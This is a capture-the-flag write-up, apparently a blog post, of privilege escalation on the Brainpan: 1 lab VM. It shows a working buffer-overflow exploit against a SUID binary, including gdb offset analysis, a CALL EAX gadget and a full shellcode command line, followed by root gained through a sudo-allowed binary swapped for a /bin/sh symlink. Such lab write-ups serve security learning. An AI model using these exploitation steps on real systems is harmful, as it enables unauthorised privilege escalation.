published on in writeup
tags: brainpan

Brainpan: 1 - Part 2


Now I had a shell, I could start exploring the system.

cat /etc/passwd
cat /etc/group
sudo -l
User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util
find / -perm -4000 -type f 2>/dev/null



So a few things here :)

It seems puck can run anansi_util with sudo privileges. I tried playing around with it a little bit, but couldn’t make it do much.

sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]

Reviewing the list of SUID binaries, /usr/local/bin/validate stood out to me as I’d never seen it before. I was able to collect some more information about it.

ls -la /usr/local/bin/validate
-rwsr-xr-x 1 anansi anansi 8761 Mar  4  2013 /usr/local/bin/validate
getfacl /usr/local/bin/validate
getfacl: Removing leading '/' from absolute path names
# file: usr/local/bin/validate
# owner: anansi
# group: anansi
# flags: s--
usage /usr/local/bin/validate <input>
file /usr/local/bin/validate
/usr/local/bin/validate: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, BuildID[sha1]=0x01d3b7c4bc6eda9d4b4e9c25e036a36349b9630a, not stripped

Hmm, so a suspicious binary with a single user input… Brainpan doesn’t have strings installed, so I transferred the binary to my Kali machine to analyse.

[email protected]:~/brainpan/1# strings validate

So the user input is again passed using the vulnerable strcpy function. If we could exploit this, we would gain access as anansi.

Exploiting Validate

[email protected]:~/brainpan/1# ./validate `python -c 'print ("A" * 200)'`
Segmentation fault

I was able to crash the application, now to load it up in gdb and have a closer look…

[email protected]:~/brainpan/1# gdb -q ./validate
Reading symbols from /root/brainpan/1/validate...done.
(gdb) r `python -c 'print ("A" * 200)'`
Starting program: /root/brainpan/1/validate `python -c 'print ("A" * 200)'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax            0xbffff378   -1073745032
ecx            0x0  0
edx            0xc9 201
ebx            0x41414141   1094795585
esp            0xbffff3f0   0xbffff3f0
ebp            0x41414141   0x41414141
esi            0x0  0
edi            0x0  0
eip            0x41414141   0x41414141

More analysis of the stack showed that I could overwrite into ESP, but I couldn’t find a JMP ESP instruction within the binary to use as I did earlier. However I was also overwriting EAX and there was a CALL EAX instruction in the binary.

[email protected]:~/brainpan/1# objdump -D validate -M intel | grep eax | grep call
 8048468:   ff 14 85 14 9f 04 08    call   DWORD PTR [eax*4+0x8049f14]
 80484af:   ff d0                   call   eax
 804862b:   ff d0                   call   eax

I found that the EIP offset was 116 bytes (using the pattern_create/offset method).

(gdb) r `python -c 'print ("A" * 116) + ("B" * 4)'`
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/40x $eax -4
0xbffff3c4: 0x00000001  0x41414141  0x41414141  0x41414141
0xbffff3d4: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff3e4: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff3f4: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff404: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff414: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff424: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff434: 0x41414141  0x41414141  0x42424242  0xbffff600
0xbffff444: 0xb7fbeff4  0x080485b0  0xbffff468  0xb7e8e7f5
0xbffff454: 0xb7ff0590  0x080485bb  0xb7fbeff4  0x080485b0

So if I’m going to exploit this, I will probably need to include shellcode at the start of the buffer, then use the CALL EAX to jump up the stack to it. It seems EAX starts at 0xbffff3c8 and ends at 0xbffff438; which is a total of 112 bytes - plenty of space for some decent shellcode.

I don’t need to create anything as cumbersome as full reverse shellcode - since I already have access to the system, all I require is a new instance of bash. This will inherit the privileges of anansi since the suid binary is executing it.

[email protected]:~# msfpayload linux/x86/exec CMD="/bin/sh" R | msfencode -e x86/shikata_ga_nai -b '\x00' -t c
[*] x86/shikata_ga_nai succeeded with size 70 (iteration=1)

So I just pieced this together as: shellcode + padding + call eax

uid=1002(puck) gid=1002(puck) groups=1002(puck)
/usr/local/bin/validate `python -c 'print "\xb8\x83\x64\xca\x02\xdd\xc1\xd9\x74\x24\xf4\x5a\x33\xc9\xb1\x0b\x83\xea\xfc\x31\x42\x11\x03\x42\x11\xe2\x76\x0e\xc1\x5a\xe1\x9d\xb3\x32\x3c\x41\xb5\x24\x56\xaa\xb6\xc2\xa6\xdc\x17\x71\xcf\x72\xe1\x96\x5d\x63\xf9\x58\x61\x73\xd5\x3a\x08\x1d\x06\xc8\xa2\xe1\x0f\x7d\xbb\x03\x62\x01" + ("\x90" * 46) + "\xaf\x84\x04\x08"'`
uid=1002(puck) gid=1002(puck) euid=1001(anansi) groups=1001(anansi),1002(puck)

Excellent. Now I have access as anansi, I could get into their home directory and check out anansi_util some more.

cd /home/anansi/bin
ls -la
-rwxr-xr-x 1 anansi anansi 7256 Mar  4  2013 anansi_util
getfacl anansi_util
# file: anansi_util
# owner: anansi
# group: anansi

So this is a binary which we have full control over (as anansi) and can execute with sudo rights (as puck). This is actually very trivial to leverage. I was able to simply move the exisiting binary, and replace it with a symlink to /bin/sh.

mv anansi_util anansi_util.bk
ln -s /bin/sh ./anansi_util
ls -la
lrwxrwxrwx 1 anansi puck      7 May 29 12:36 anansi_util -> /bin/sh
-rwxr-xr-x 1 anansi anansi 7256 Mar  4  2013 anansi_util.bk
sudo /home/anansi/bin/anansi_util
id; whoami
uid=0(root) gid=0(root) groups=0(root)

w00t! I couldn’t find an obvious final flag, so assume the challenge ends here.